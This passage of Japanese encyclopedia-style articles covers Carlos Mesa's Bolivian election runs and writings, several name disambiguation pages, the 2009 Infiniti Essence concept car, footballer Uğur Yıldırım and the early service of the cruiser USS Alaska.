2019年に行われた大統領選挙に出馬するが、一時中断された開票作業の再開後に現職のエボ・モラレスの得票が伸びるなど、開票作業に不審な点が認められるなどした結果、得票率36.51％で敗退した。カルロス・メサ支持者が開票結果に不服として投票所に放火するなどして暴徒化した。モラレスの亡命を受け執行された2020年10月18日の大統領選挙（英語版）に出馬したが出口調査の時点で野党のルイス・アルセ元経済・財務大臣が優勢となり、最終結果が出ていない時点で勝利を宣言。カルロス・メサは敗北を認めた。
著作など

Cine boliviano, del realizador al crítico（ボリビア映画、制作者から批判者へ）（共著、1979年）
El cine boliviano según Luis Espinal（ルイス・エスピナルによるボリビア映画）（1982年）
Presidentes de Bolivia: entre urnas y fusiles（ボリビアの大統領：投票箱と銃のはざま）（1983年）
Manual de historia de Bolivia（ボリビアの歴史解説）（共著、1983年）
La aventura del cine boliviano 1952-1985（ボリビア映画の挑戦 1952-1985）（1985年）
Un debate entre gitanos（ジプシーたちの論争）（1991年）
De Cerca, una década de conversaciones en democracia（付近から - 民主主義の対話の10年）（1993年）
La epopeya del fútbol boliviano（ボリビアサッカーの叙事詩）（1994年）
Territorios de libertad（自由の領域）（1995年）
La espada en la palabra（言葉の剣）（2000年）
オルコット

| --- | --- |
: 原綴 Walcott, Wolcott の「ウォルコット」とは異なります。
オルコット/オールコット (英語: Alcott, Olcott) は、英語圏の姓。
人物

エイモス・ブロンソン・オルコット (Amos Bronson Alcott) - アメリカの教育家 (1799–1888)。
ヘンリー・スティール・オルコット (Henry Steel Olcott) - アメリカの神智学者 (1832–1907)。神智学協会の創立者・初代会長。
ルイーザ・メイ・オルコット (Louisa May Alcott) - アメリカの小説家 (1832–1888)。代表作『若草物語』。
ジョン・オルコット (John Alcott) - イギリスの映画監督 (1931–1986)。
エイミー・オルコット (Amy Alcott) - アメリカの女子ゴルファー (1956– )。
チェミー・オルコット (Chemmy Alcott) - イギリスのスキーレーサー (1982–)。
架空の人物

セシリア・オルコット - ライトノベル『IS 〈インフィニット・ストラトス〉』の登場人物。
ジャッキー・ウィルソン

ジャッキー・ウィルソン（Jackie Wilson）
ジャッキー・ウィルソン (ボクサー)(1909-1966) - アメリカ合衆国のプロボクサー、元NBAフェザー級世界チャンピオン。
ジャッキー・ウィルソン (ミュージシャン)(1934-1984) - アメリカ合衆国のソウル、R&B歌手。
グントラム

グントラム (Guntram) は、ドイツ語圏の男性名。
グントラム (ブルグント王)（ドイツ語版）（グントラム1世） - メロヴィング朝のブルグント王。
グントラム金満公 - 上アルザス伯。ハプスブルク家の遠祖。
グントラム (オペラ) - リヒャルト・シュトラウスのオペラ。
インフィニティ・エッセンス

| インフィニティ・エッセンス |
| --- | --- |
 フロント
 リア
概要
製造国:   日本
設計統括:  中村史郎
デザイン:  青木護
ボディ
乗車定員:  2名
ボディタイプ:  2ドアクーペ
駆動方式:  後輪駆動
パワートレイン
エンジン:  VQ37VHR型 3.696L V型6気筒 DOHC ツインターボ
モーター:  3D型 交流同期電動機
最高出力:  エンジン:324kW（440PS） モーター:118kW（160PS）
最大トルク:  エンジン:未公表 モーター:500·m（51.0kgf·m）
車両寸法
ホイールベース:  2,800 mm
全長:  4,720 mm
全幅:  1,960 mm
全高:  1,310 mm
その他
燃費:  8L/100km
CO2排出量:  190g/km
テンプレートを表示
エッセンス（ESSENCE ）は、日産自動車が展開している高級車ブランドインフィニティで2009年に発表されたコンセプトカーである。
概要

2009年3月3日、スイス連邦のジュネーヴで開催されたサロン・アンテルナショナル・ド・ロトにて世界初公開された。
エッセンスは、インフニィティの開業20周年を記念して企画された高級スポーツクーペのコンセプトカーで、同ブランドの精神や今後の方向性を提示するアイコンとしての役割を果たしている。
メカニズム

|  | 型式 | 種類 | 排気量 | 内径×行程 (mm) | 最高出力 | 最大トルク | システム最高出力 |
| --- | --- | --- | --- | --- | --- | --- | --- |
| エンジン | VQ37VHR | V型6気筒 DOHC  ツインターボチャージャー | 3.696L | 95.5×86.0 | 324kW  （440PS） | - | 441kW（600PS） |
| モーター | 3D | 交流同期電動機 | - | - | 118kW （160PS） | 500N·m  （51.0kgf·m） | 441kW（600PS） |
既存のVQ37VHRにツインターボを採用したガソリンエンジンと新開発の3Dモーターとを組み合わせた、インフィニティ初のパラレル・ハイブリッドシステムを搭載する。新開発の3Dモーターは、電磁コイルと永久磁石の配置を最適化したことで既存のモーター比の約2倍の高出力トルクを発生し、エンジンとトランスミッションの中間部に配置される。モーター用の二次電池には、リチウムイオンバッテリーが採用され、低速域や低負荷域でのモーター単独走行を実現したことでゼロ・エミッションを達成している。
デザイン > エクステリア

インフィニティのデザイン理念である『ダイナミック・艶やか』をテーマに、中村史郎常務執行役員チーフクリエイティブオフィサー指揮のもとチーフデザイナーである青木護がデザインした。
『ロングノーズ・ショートデッキ』に徹底した古典的なFRプロポーションをもとに、波の力強さをイメージしたボディサイドの抑揚あるキャラクターラインや22インチの大径タイヤを囲む張り出したフェンダーのデザインは、FR車らしい美しさや安定感を表現している。また、低いグリルとボディサイドのラインは、ヒョウやチーターが走り出す直前に低く構える姿勢をイメージしてデザインしている。
その他、同ブランドの特徴でもある水面に映った眼鏡橋から想像力を得た『ダブルアーチ』のグリルや簪から想像力を得たサイドのエアインテーク、伊達政宗の兜にデフォルメされた三日月から想像力を得たCピラーの曲線をデザインに取り入れたことで、欧米のプレミアムブランドにはない『日本らしさ』も表現している。なお、エッセンスに取り入れられた新しいデザイン要素の一部は、2009年8月14日にアメリカ合衆国のカリフォルニア州で開催された第59回ペブルビーチ・コンクール・デレガンスにて世界初公開された4代目Mにも取り入れられている。
デザイン > インテリア

運転席側はブラック、助手席側はアーシーレッドを基調にしたセンターコンソールでセパレートしたことで、スポーツカーらしいタイトな空間を演出している。また、パドルシフトを備えたフラットボトムのステアリングホイールやクロノグラフ調のメーターパネル、漆器を連想させる手塗りのウッドパネルを採用したことで、高性能スポーツカーでありながらも端正で洗練された空間も演出している。
トランクには、フランス共和国のルイ・ヴィトンとコラボレーションした大小3つの専用ブリーフケースが格納され、トランクを開閉する際に2つのブリーフケースが載った大型トランクがフロアごと前後にスライドする機構を採用している。
年表

INFINITI M56
ネールウィンデンの戦い

ネールウィンデンの戦い（Battle of Neerwinden）は、ベルギーの村ネールウィンデンで発生した戦い。
ネールウィンデンの戦い (1693年) - 大同盟戦争の戦闘。フランス軍とイングランド・オランダ同盟軍が戦った。
ネールウィンデンの戦い (1793年) - フランス革命戦争の戦闘。共和政フランス軍とオーストリア軍が戦った。
ウグル・イルディリム

ウグル・イルディリム（Uğur Yıldırım, 1982年5月8日 - ）は、オランダ・アペルドールン出身の元サッカー選手。現役時代のポジションはFWまたはMFであった。
名前はウール・ユルドゥルムとも表記される。
経歴

主に右ウイングでプレーしていた。ゴー・アヘッド・イーグルスでのプロ初シーズンではリーグ戦6得点を記録した。2004年12月31日、欧州のフリーキックコンテストに参加し、無名ながら優勝を飾り、注目を集めた。同大会にはフランスのジネディーヌ・ジダンらスタープレーヤーも多く参加しており、ジダンは2位に終わっている。
2004-05シーズンのSCヘーレンフェーンに移籍した。1、2年目はチームの主力として活躍したが、3年目から負傷離脱を繰り返し、当時の監督ヘルトヤン・フェルベークから戦力外とみなされた。これに納得がいかなかったイルディリムはフェルベークに直談判するも、さらに両者の関係が悪化し、シーズン終了後にトルコへ移籍することを決めた。2008-09シーズンに在籍したガジアンテプスポルでは給料の未払い、翌シーズン移籍したカスムパシャSKでは控えに回され、半年で契約を解除した。フリーとなったイルディリムはブラックバーンやワトフォード、母国のPECズヴォレでトライアルを受けるも契約締結には至らず、2009年1月、カスムパシャSKと1年契約を交わした。ここでも目立った活躍は残せず、晩年はAGOVVアペルドールンなどのオランダ下部リーグの選手としてプレーし、2015年に現役を引退した。
アラスカ (大型巡洋艦)

| --- | --- |

艦歴
発注: 1940年9月9日
起工: 1941年12月17日
進水: 1943年8月15日
就役: 1944年6月17日
退役: 1947年2月17日
除籍: 1960年6月1日
その後: スクラップとして売却
性能諸元
排水量: 基準：29,000トン 満載：34,250トン
全長: 246.43m
全幅: 27.67m
吃水: 9.38m
機関: ゼネラル・エレクトリック 蒸気タービン、4軸推進 150,000 shp
最大速: 33ノット
乗員: 士官、兵員：2,251名
兵装: 50口径30.5cm砲9門 38口径12.7cm砲12門 56口径40mm対空砲56門 70口径20mm対空砲34門
アラスカ（USS Alaska, CB-1）はアメリカ海軍の大型巡洋艦。アラスカ級大型巡洋艦のネームシップ。艦名はアメリカ合衆国49番目の州（命名当時は準州）に因む。
艦歴

アラスカは1941年12月17日にニュージャージー州カムデンのニューヨーク造船所で起工し、1943年8月15日にアーネスト・グルーニング夫人（前アラスカ州知事夫人）によって進水、1944年6月17日にフィラデルフィア海軍工廠でピーター・K・フィッシャー艦長の指揮下就役した。
フィラデルフィア海軍工廠での艤装が完了すると、1944年8月6日にアラスカは、シンプソン（英語版）（USS Simpson, DD-221）とブルーム（英語版）（USS Broome, DD-210）に護衛されデラウェア川を下りハンプトン・ローズへ向かう。その後チェサピーク湾で整調を行い、続いてトリニダード島のパリア湾（英語版）でベインブリッジ（英語版）（USS Bainbridge, DD-246）とディケーター（英語版）（USS Decatur, DD-341）の護衛を受け整調を続けた。メリーランド州アナポリス経由でノーフォークに向かい、アラスカはフィラデルフィア海軍工廠に戻り、5インチ副砲用の MK.57 射撃管制装置4基の変更を受ける。
11月12日にフィラデルフィアを出航し、敷設駆逐艦トーマス・E・フレーザー（USS Thomas E. Fraser, DM-24）と共にカリブ海へ向かう。グアンタナモ湾沖での二週間の標準化公試が完了すると、12月2日に太平洋に向かう。12月4日にパナマ運河を通過し、12月12日にサンディエゴに到着する。その後サンディエゴ沖で砲撃訓練および対空戦闘訓練を行い、ハンターズ・ポイントで信頼性試験を行う。